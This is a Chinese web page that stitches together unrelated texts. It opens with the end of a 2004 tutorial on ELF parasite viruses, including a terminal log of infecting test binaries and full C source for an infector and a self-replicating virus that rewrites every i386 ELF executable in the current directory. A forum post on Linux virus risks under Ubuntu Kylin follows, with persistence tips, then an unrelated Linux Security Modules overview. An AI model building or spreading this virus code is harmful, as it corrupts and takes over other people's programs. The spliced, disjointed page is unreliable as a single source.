获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
 8049427:       68 dd cc bb aa          push   $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
 8049450:       e9 2b f9 ff ff          jmp    8048d80 
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :


0x8049427与0x8048d80相减即获得我们需要的偏移,
用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值


重新编译
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG


grip2@linux:~/tmp/virus> ls
gei               gsyscall.h  gvirus.c  gvirus.o  foo.c    parasite-sample.c
g-elf-infector.c  gunistd.h   gvirus.h  foo      Makefile  parasite-sample.h


建立一个测试目录,测试一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei  foo
grip2@linux:~/tmp/virus/test> cp foo h


制作带毒程序
grip2@linux:~/tmp/virus/test> ./gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x  1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x  1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x  1 grip2 users  8668 2004-12-13 07:50 foo


运行带毒程序
grip2@linux:~/tmp/virus/test> ./h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x  1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x  1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x  1 grip2 users 12764 2004-12-13 07:51 foo


测试上面带毒程序运行后,是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point


OK,成功
grip2@linux:~/tmp/virus/test> cp ../foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x  1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x  1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x  1 grip2 users  8668 2004-12-13 07:51 hh
-rwxr-xr-x  1 grip2 users 12764 2004-12-13 07:51 foo


grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>


六、** 最后


    由于我既不是一个virus coder也不是一个anti-virus coder,所以对病毒
技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到
位,还请指正,谢谢。




七、** 参考文献


1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》


2 ELF文档


3 更多的安全技术交流
http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=




八、** 附录 - ELF文件感染工具和病毒原型源代码


------------------------------ g-elf_infector.c ------------------------------


/*
 * gei - ELF Infector v0.0.2  (2004)
 * written by grip2 
 */


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#include "gvirus.h"


#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))


static int elf_infect(const char *filename,
        void *para_code,
        unsigned int para_code_size,
        unsigned long retaddr_addr_offset);


int main(int argc, char *argv[])
{
#define MAX_FILENAME_LEN 256
    char backup[MAX_FILENAME_LEN*4];
    char restore[MAX_FILENAME_LEN*4];


    if (argc != 2) {
        fprintf(stderr,
            "gei - ELF Infector v0.0.2 written by grip2 \n");
        fprintf(stderr, "Usage: %s \n", argv[0]);
        return 1;
    }


    if (strcmp(argv[1], "-l") == 0) {
        fprintf(stderr, "Parasite code length: %d\n",
                ¶site_code_end - ¶site_code);
        return 1;
    }


    if (strlen(argv[1]) > MAX_FILENAME_LEN) {
        fprintf(stderr, "filename too long!\n");
        return 1;
    }
   
    sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]);
    sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]);


    system(backup);
    if (elf_infect(argv[1], ¶site_code,
            ¶site_code_end - ¶site_code,
            PARACODE_RETADDR_ADDR_OFFSET) < 0) {
        system(restore);
        return 1;
    }


    return 0;
}


static int elf_infect(const char *filename,
        void *para_code,
        unsigned int para_code_size,
        unsigned long retaddr_addr_offset)
{
    int fd = -1;
    int tmp_fd = -1;
    Elf32_Ehdr *ehdr = NULL;
    Elf32_Phdr *phdr;
    Elf32_Shdr *shdr;
    int i;
    int txt_index;
    struct stat stat;
    int align_code_size;
    unsigned long org_entry;
    void *new_code_pos;
    int tmp_flag;
    int size;
    unsigned char tmp_para_code[PAGE_SIZE];


    char *tmpfile;
    tmpfile = tempnam(NULL, "infector");


    fd = open(filename, O_RDWR);
    if (fd == -1) {
        perror(filename);
        goto err;
    }


    if (fstat(fd, &stat) == -1) {
        perror("fstat");
        goto err;
    }


#ifndef NDEBUG
    printf("file size: %lu\n", stat.st_size);
#endif


    ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
    if (ehdr == MAP_FAILED) {
        perror("mmap ehdr");
        goto err;
    }
   
    /* Check ELF magic-ident */
    if (ehdr->e_ident[EI_MAG0] != 0x7f
        || ehdr->e_ident[EI_MAG1] != 'E'
        || ehdr->e_ident[EI_MAG2] != 'L'
        || ehdr->e_ident[EI_MAG3] != 'F'
        || ehdr->e_ident[EI_CLASS] != ELFCLASS32
        || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
        || ehdr->e_ident[EI_VERSION] != EV_CURRENT
        || ehdr->e_type != ET_EXEC
        || ehdr->e_machine != EM_386
        || ehdr->e_version != EV_CURRENT
        ) {
        fprintf(stderr, "File type not supported\n");
        goto err;
    }


#ifndef NDEBUG
    printf("e_phoff: %08x\ne_shoff: %08x\n",
            ehdr->e_phoff, ehdr->e_shoff);
    printf("e_phentsize: %08x\n", ehdr->e_phentsize);
    printf("e_phnum: %08x\n", ehdr->e_phnum);
    printf("e_shentsize: %08x\n", ehdr->e_shentsize);
    printf("e_shnum: %08x\n", ehdr->e_shnum);
#endif


    align_code_size = PAGE_ALIGN(para_code_size);


    /* Get program header and section header start address */
    phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
    shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);


    /* Locate the text segment */
    txt_index = 0;
    while (1) {
        if (txt_index == ehdr->e_phnum - 1) {
            fprintf(stderr, "Invalid e_phnum, text segment not found.\n");
            goto err;
        }
        if (phdr[txt_index].p_type == PT_LOAD
            && phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
#ifndef NDEBUG
            printf("text segment file offset: %u\n", phdr[txt_index].p_offset);
#endif
            if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
                        > phdr[txt_index+1].p_vaddr) {
                fprintf(stderr, "Better luck next file :-)\n");   
                goto err;
            }


            break;
        }
        txt_index++;
    }   


    /* Modify the entry point of the ELF */
    org_entry = ehdr->e_entry;
    ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;


    new_code_pos =
        (void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;


    /* Increase the p_filesz and p_memsz of text segment
     * for new code */
    phdr[txt_index].p_filesz += align_code_size;
    phdr[txt_index].p_memsz += align_code_size;


    for (i = 0; i < ehdr->e_phnum; i++)
        if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
            phdr[i].p_offset += align_code_size;


    tmp_flag = 0;
    for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
            shdr[i].sh_offset += align_code_size;
            if (!tmp_flag && i) { /* associating the new_code to the last
                           * section in the text segment */
                shdr[i-1].sh_size += align_code_size;
                tmp_flag = 1;
                printf("[%d sections patched]\n", i-1);
            }
        }
    }


    /* Increase p_shoff in the ELF header */
    ehdr->e_shoff += align_code_size;


    /* Make a new file */
    tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode);
    if (tmp_fd == -1) {
        perror("open");
        goto err;
    }


    size = new_code_pos - (void *) ehdr;
    if (write(tmp_fd, ehdr, size) != size) {
        perror("write");
        goto err;
    }


    memcpy(tmp_para_code, para_code, para_code_size);
    memcpy(tmp_para_code + retaddr_addr_offset,
            &org_entry, sizeof(org_entry));
    if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) {
        perror("write");
        goto err;
    }
   
    if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
                != stat.st_size - size) {
        perror("write");
        goto err;
    }


    close(tmp_fd);
    munmap(ehdr, stat.st_size);
    close(fd);


    if (rename(tmpfile, filename) == -1) {
        perror("rename");
        goto err;
    }


    return 0;
err:
    if (tmp_fd != -1)
        close(tmp_fd);
    if (ehdr)
        munmap(ehdr, stat.st_size);
    if (fd != -1)
        close(fd);
    return -1;
}
------------------------------ g-elf_infector.c ------------------------------


------------------------------ gvirus.h ------------------------------
#ifndef _G2_PARASITE_CODE_
#define _G2_PARASITE_CODE_


#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif


void parasite_code(void);
void parasite_code_end(void);


#endif
------------------------------ gvirus.h ------------------------------


------------------------------ gvirus.c ------------------------------


/*
 * virus code in C (2004)
 * written by grip2 
 */


#include "gsyscall.h"
#include "gvirus.h"
#include 


#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))


#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif


#ifndef NDEBUG
#define V_DEBUG_WRITE(...) \
    do {\
        g_write(__VA_ARGS__);\
    } while(0)
#else
#define V_DEBUG_WRITE(...)
#endif


static inline int infect_virus(
        const char *file,
        void *v_code,
        unsigned int v_code_size,
        unsigned long v_retaddr_addr_offset)
{
    int fd = -1;
    int tmp_fd = -1;
    Elf32_Ehdr *ehdr = NULL;
    Elf32_Phdr *phdr;
    Elf32_Shdr *shdr;
    int i;
    int txt_index;
    struct stat stat;
    int align_code_size;
    unsigned long org_entry;
    void *new_code_pos;
    int tmp_flag;
    int size;
    unsigned char tmp_v_code[PAGE_SIZE];


    char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'};


#ifndef NDEBUG
    char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
            's','u','p','p','o','r','t','e','d','\n','\0'};
    char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
            'n','e','x','t',' ','f','i','l','e','\n','\0'};
#endif


    fd = g_open(file, O_RDWR, 0);
    if (fd == -1) {
        goto err;
    }


    if (g_fstat(fd, &stat) == -1) {
        goto err;
    }


    ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
    if (ehdr == MAP_FAILED) {
        goto err;
    }
   
    /* Check ELF magic-ident */
    if (ehdr->e_ident[EI_MAG0] != 0x7f
        || ehdr->e_ident[EI_MAG1] != 'E'
        || ehdr->e_ident[EI_MAG2] != 'L'
        || ehdr->e_ident[EI_MAG3] != 'F'
        || ehdr->e_ident[EI_CLASS] != ELFCLASS32
        || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
        || ehdr->e_ident[EI_VERSION] != EV_CURRENT
        || ehdr->e_type != ET_EXEC
        || ehdr->e_machine != EM_386
        || ehdr->e_version != EV_CURRENT
        ) {
        V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
        goto err;
    }


    align_code_size = PAGE_ALIGN(v_code_size);


    /* Get program header and section header start address */
    phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
    shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);


    /* Locate the text segment */
    txt_index = 0;
    while (1) {
        if (txt_index == ehdr->e_phnum - 1)
            goto err;


        if (phdr[txt_index].p_type == PT_LOAD
            && phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
            if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
                        > phdr[txt_index+1].p_vaddr) {
                V_DEBUG_WRITE(1, &luck, sizeof(luck));   
                goto err;
            }


            break;
        }
        txt_index++;
    }   


    /* Modify the entry point of the ELF */
    org_entry = ehdr->e_entry;
    ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;


    new_code_pos =
        (void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;


    /* Increase the p_filesz and p_memsz of text segment
     * for new code */
    phdr[txt_index].p_filesz += align_code_size;
    phdr[txt_index].p_memsz += align_code_size;


    for (i = 0; i < ehdr->e_phnum; i++)
        if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
            phdr[i].p_offset += align_code_size;


    tmp_flag = 0;
    for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
            shdr[i].sh_offset += align_code_size;
            if (!tmp_flag && i) { /* associating the new_code to the last
                           * section in the text segment */
                shdr[i-1].sh_size += align_code_size;
                tmp_flag = 1;
            }
        }
    }


    /* Increase p_shoff in the ELF header */
    ehdr->e_shoff += align_code_size;


    /* Make a new file */
    tmp_fd = g_open(tmpfile, O_WRONLY|O_CREAT|O_TRUNC, stat.st_mode);
    if (tmp_fd == -1) {
        goto err;
    }


    size = new_code_pos - (void *) ehdr;
    if (g_write(tmp_fd, ehdr, size) != size)
        goto err;


    __memcpy(tmp_v_code, v_code, v_code_size);
    __memcpy(tmp_v_code + v_retaddr_addr_offset, &org_entry, sizeof(org_entry));
    if (g_write(tmp_fd, tmp_v_code, align_code_size) != align_code_size) {
        goto err;
    }


    if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
                != stat.st_size - size) {
        goto err;
    }


    g_close(tmp_fd);
    g_munmap(ehdr, stat.st_size);
    g_close(fd);


    if (g_rename(tmpfile, file) == -1) {
        goto err;
    }


    return 0;
err:
    if (tmp_fd != -1)
        g_close(tmp_fd);
    if (ehdr)
        g_munmap(ehdr, stat.st_size);
    if (fd != -1)
        g_close(fd);
    return -1;
}


static inline void virus_code(void)
{
    char dirdata[4096];
    struct dirent *dirp;
    int curfd;
    int nbyte, c;
    unsigned long para_code_start_addr;


    __asm__ volatile (
        "push %%eax\n\t"
        "push %%ecx\n\t"
        "push %%edx\n\t"
        ::);


    char curdir[2] = {'.', 0};
    char newline = '\n';


    curdir[0] = '.';
    curdir[1] = 0;
    newline = '\n';


    if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
        goto out;
   
    /* Get start address of virus code */
    __asm__ volatile (
        "jmp get_start_addr\n"
    "infect_start:\n\t"
        "popl %0\n\t"
        :"=m" (para_code_start_addr)
        :);
    para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;


    /* Infecting */
    while ((nbyte = g_getdents(curfd, (struct dirent *)
                &dirdata, sizeof(dirdata))) > 0) {
        c = 0;
        dirp = (struct dirent *) &dirdata;
        do {
            V_DEBUG_WRITE(1, dirp->d_name, dirp->d_reclen - (unsigned long)
                    &(((struct dirent *) 0)->d_name));
            V_DEBUG_WRITE(1, &newline, sizeof(newline));
           
            infect_virus(dirp->d_name,
                    (void *) para_code_start_addr,
                    PARACODE_LENGTH,
                    PARACODE_RETADDR_ADDR_OFFSET);


            c += dirp->d_reclen;
            if (c >= nbyte)
                break;
            dirp = (struct dirent *)((char *)dirp + dirp->d_reclen);
        } while (1);
    }
    g_close(curfd);
out:
    __asm__ volatile (
        "popl %%edx\n\t"
        "popl %%ecx\n\t"
        "popl %%eax\n\t"
        "addl $0x102c, %%esp\n\t"
        "popl %%ebx\n\t"
        "popl %%esi\n\t"
        "popl %%edi\n\t"
        "popl %%ebp\n\t"
        "jmp return\n"
    "get_start_addr:\n\t"
        "call infect_start\n"
    "return:\n\t"
        "push $0xAABBCCDD\n\t" /* push ret_addr */
        "ret\n"
        ::);
}


void parasite_code(void)
{
    virus_code();
}
void parasite_code_end(void) {parasite_code();}
------------------------------ gvirus.c ------------------------------


------------------------------ gunistd.h ------------------------------
#ifndef _G2_UNISTD_
#define _G2_UNISTD_


#define g__syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-125)) { \
        res = -1; \
    } \
    return (type) (res); \
} while (0)


#define g_syscall0(type,name) \
type g_##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name)); \
g__syscall_return(type,__res); \
}


#define g_syscall1(type,name,type1,arg1) \
type g_##name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
g__syscall_return(type,__res); \
}


#define g_syscall2(type,name,type1,arg1,type2,arg2) \
type g_##name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
g__syscall_return(type,__res); \
}


#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type g_##name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3))); \
g__syscall_return(type,__res); \
}


#define g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4))); \
g__syscall_return(type,__res); \
}


#define g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
      type5,arg5) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
g__syscall_return(type,__res); \
}


#define g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
      type5,arg5,type6,arg6) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
    : "=a" (__res) \
    : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
      "0" ((long)(arg6))); \
g__syscall_return(type,__res); \
}


#endif /* _G2_UNISTD_ */
------------------------------ gunistd.h ------------------------------


------------------------------ gsyscall.h ------------------------------


#ifndef _G2_SYSCALL_
#define _G2_SYSCALL_


#include 
#include 


#include 
#include 


#include "gunistd.h"


#define NULL 0


struct dirent {
    long        d_ino;
    unsigned long    d_off;
    unsigned short    d_reclen;
    char        d_name[256]; /* We must not include limits.h! */
};


struct stat {
    unsigned long  st_dev;
    unsigned long  st_ino;
    unsigned short st_mode;
    unsigned short st_nlink;
    unsigned short st_uid;
    unsigned short st_gid;
    unsigned long  st_rdev;
    unsigned long  st_size;
    unsigned long  st_blksize;
    unsigned long  st_blocks;
    unsigned long  st_atime;
    unsigned long  st_atime_nsec;
    unsigned long  st_mtime;
    unsigned long  st_mtime_nsec;
    unsigned long  st_ctime;
    unsigned long  st_ctime_nsec;
    unsigned long  __unused4;
    unsigned long  __unused5;
};


static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline g_syscall1(int, close, int, fd);
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
           int, flags, int, fd, off_t, offset);
static inline g_syscall2(int, munmap, void *, addr, size_t, len);
static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf);


static inline void * __memcpy(void * to, const void * from, size_t n)
{
    int d0, d1, d2;
    __asm__ __volatile__(
        "rep ; movsl\n\t"
        "testb $2,%b4\n\t"
        "je 1f\n\t"
        "movsw\n"
        "1:\ttestb $1,%b4\n\t"
        "je 2f\n\t"
        "movsb\n"
        "2:"
        : "=&c" (d0), "=&D" (d1), "=&S" (d2)
        :"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
        : "memory");
    return (to);
}


#endif /* _G2_SYSCALL_ */
------------------------------ gsyscall.h ------------------------------


------------------------------ foo.c ------------------------------
#include 


int main()
{
    puts("real elf point");
    return 0;
}
------------------------------ foo.c ------------------------------


------------------------------ Makefile ------------------------------
all: foo gei
gei: g-elf-infector.c gvirus.o
    gcc -O2 $< gvirus.o -o gei -Wall -DNDEBUG
foo: foo.c
    gcc $< -o foo
gvirus.o: gvirus.c
    gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall -DNDEBUG
clean:
    rm *.o -rf
    rm foo -rf
    rm gei -rf


 基予Ubuntu Linux病毒可能的探讨——编写Linux病毒并不难





一  你也可以编一个简单的病毒


另外linux的杀毒应该算是国外版的,国外起点较早。




很多人认为Linux病毒似乎离我们很远,但是我现在要说的是,恰恰相反,Linux病毒根本就在我们身边。而且更容易获得。


这是一个关于ubuntu麒麟的帖子
http://bbs.kafan.cn/thread-1797636-1-1.html






可以清晰地看出,这个被中国定制版的ubuntu出现了弹窗,而这在以往的linux上是根本看不到的,现在除了ubuntu麒麟外,我尚没有看到其它版本的linux存在这种情况~(也许我孤陋寡闻,如果哪位饭团发现,请指正)


以下是一个非破坏性病毒的源代码,它非常简单,你可以在windows,linux,MAC OS,freeBSD……上编译看到结果,它的作用就是产生满屏的混乱。


在ubuntu下你可以使用Geany编译并运行,其余系统只要有C编译器即可


#include <stdio.h>
 
int main()
{
        for (;1;)
                {
                        printf("*");
                }
        return 0;
}






只要编译运行就会不断显示“*”号,满屏混乱,除非按Break键或者拔电源,如果是窗口调试,可以关闭窗口即可。


windows们无须担心,因为不编译成EXE是无法运行的。


其它系统也可以编译运行。


你可以附件传至样本区或者自己查杀一下,我保证过所有杀软。


就是因为这个恶意程序太简单,但是所有的杀软都不会认为其是病毒,但是只要稍微修改一下代码,就可以成为木马,甚至攻击利器。


结果是不会自然停止的,学过编程的知道,这是一个死循环(故意的死循环)




这一切都是基于Linux的,而且只要病毒制造者把权限设成anyone,就是chmod 777,那么根本不需要root,所有linux都可以运行(临时攻击),如果想开机启动,只要在某些人的粗心帮助下拷贝到/etc/adg/autostart文件夹即可


注:文中病毒程序并不是真正的病毒,只是一段最简单的代码而已,作用是抛砖引玉,并不是教大家真正病毒编写,否则那就与卡饭的氛围不符了,再说私自传播病毒是违法的,在下就是吃了豹子胆也不敢啊~ 


相关帖子


基予Ubuntu Linux病毒可能的探讨——编写Linux病毒并不难 小A的Linux版本可不可以杀Windows下的病毒? 问一下,nod32在linux下能清除windows下的病毒么? 病毒知识:病毒奥秘 文件宏病毒和传统病毒的差异 2010年度报告:是谁在编写Linux内核? 什么杀毒软件的病毒库可查杀的病毒最多 McAfee8.5i+antispy+1月15日最新附加病毒库+1月14日病毒库+通用安全规则 可否用论坛提供的病毒库备份程序作出的病毒库作为离线更新源 死神病毒降临 破坏杀毒软件狂下病毒 卡巴更新完,病毒数量有显示,但病毒库没变化!


二   我为什么写这些


写这些的目的当然不是教大家如何炫耀技术,或者用病毒去害人,这恰恰不是我的本意,我的本意是只有人才是关键因素,而操作系统不是最关键的!


本来Linux以其干净纯洁著称,但是在某些粗心,图省事的用户帮助下,运行病毒简直易如反掌


安卓就是基于Linux的,这就是前车之鉴。


国内的红旗Linux就是以KDE为基础,root用户为登录用户的系统,虽然其曾经吹嘘多么安全,但是我很简单的就把它弄瘫痪了,因为很简单,本来就是root用户,密码又是空的,对系统的修改简直就是易如反掌,随心所欲。




我们知道Linux的理念就是认为用户知道自己在做什么,并且清晰地知道该怎么做,而对于广大技术小白而言,linux简直就是病毒的新大陆。只要稍稍诱骗,那么病毒就可以堂而皇之地进入系统,运行起来。


三   我们该怎么办


正是有了细菌的发现我们才有了抗生素,一味惧怕病毒或者恶意软件是没有用的,关键就是提高我们的技术实力和防范措施。




现在的ubuntu麒麟只是有个弹窗,以后会不会像酷派那样安装后门来推广还不知道,但这根本不是难事,从技术上说,比在windows下还容易。




所以我们必须知道以下方法


1、了解病毒行为


CIMA和火眼就可以


可以看我的帖子
http://bbs.kafan.cn/thread-968044-1-1.html


2、意识上的防范


这是最重要的,没有意识上的防范,再安全的系统也是人用的,只要有人就有漏洞。大意和麻痹才是最大的敌人。




3、多学知识,武装自己


如果你会简单的C语言,简单的反汇编,那么不管是Linux还是windows病毒根本就是无所遁形


4、杀毒软件


卡巴,ESET,赛门铁克等杀软均有Linux版本


如何增强 Linux 系统的安全性 - Linux 安全模块(LSM)简介


在安全性方面,Linux内核只提供了经典的UNIX自主访问控制(root用户,用户ID,模式位安全机制),以及部分的支持了POSIX.1e标准草案中的capabilities安全机制,这对于Linux系统的安全性是不足够的,影响了Linux系统的进一步发展和更广泛的应用。

有很多安全访问控制模型和框架已经被研究和开发出来,用以增强Linux系统的安全性,比较知名的有安全增强Linux(SELinux),域和类型增强(DTE),以及Linux入侵检测系统(LIDS)等等。但是由于没有一个系统能够获得统治性的地位而进入Linux内核成为标准;并且这些系统都大多以各种不同的内核补丁的形式提供,使用这些系统需要有编译和定制内核的能力,对于没有内核开发经验的普通用户,获得并使用这些系统是有难度的。在2001年的Linux内核峰会上,美国国家安全局(NSA)介绍了他们关于安全增强Linux(SELinux)的工作,这是一个灵活的访问控制体系Flask在Linux中的实现,当时Linux内核的创始人Linus Torvalds同意Linux内核确实需要一个通用的安全访问控制框架,但他指出最好是通过可加载内核模块的方法,这样可以支持现存的各种不同的安全访问控制系统。因此,Linux安全模块(LSM)应运而生。

Linux安全模块(LSM)是Linux内核的一个轻量级通用访问控制框架。它使得各种不同的安全访问控制模型能够以Linux可加载内核模块的形式实现出来,用户可以根据其需求选择适合的安全模块加载到Linux内核中,从而大大提高了Linux安全访问控制机制的灵活性和易用性。目前已经有很多著名的增强访问控制系统移植到Linux安全模块(LSM)上实现,包括POSIX.1e capabilities,安全增强Linux(SELinux),域和类型增强(DTE),以及Linux入侵检测系统(LIDS)等等。虽然目前Linux安全模块(LSM)仍然是作为一个Linux内核补丁的形式提供,但是其同时提供Linux 2.4稳定版本的系列和Linux 2.5开发版本的系列,并且很有希望进入Linux 2.6稳定版本,进而实现其目标:被Linux内核接受成为Linux内核安全机制的标准,在各个Linux发行版中提供给用户使用。

Linux安全模块(LSM)目前作为一个Linux内核补丁的形式实现。

其主要在五个方面对Linux内核进行了修改:
在特定的内核数据结构中加入了安全域
在内核源代码中不同的关键点插入了对安全钩子函数的调用
加入了一个通用的安全系统调用
提供了函数允许内核模块注册为安全模块或者注销
将capabilities逻辑的大部分移植为一个可选的安全模块


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值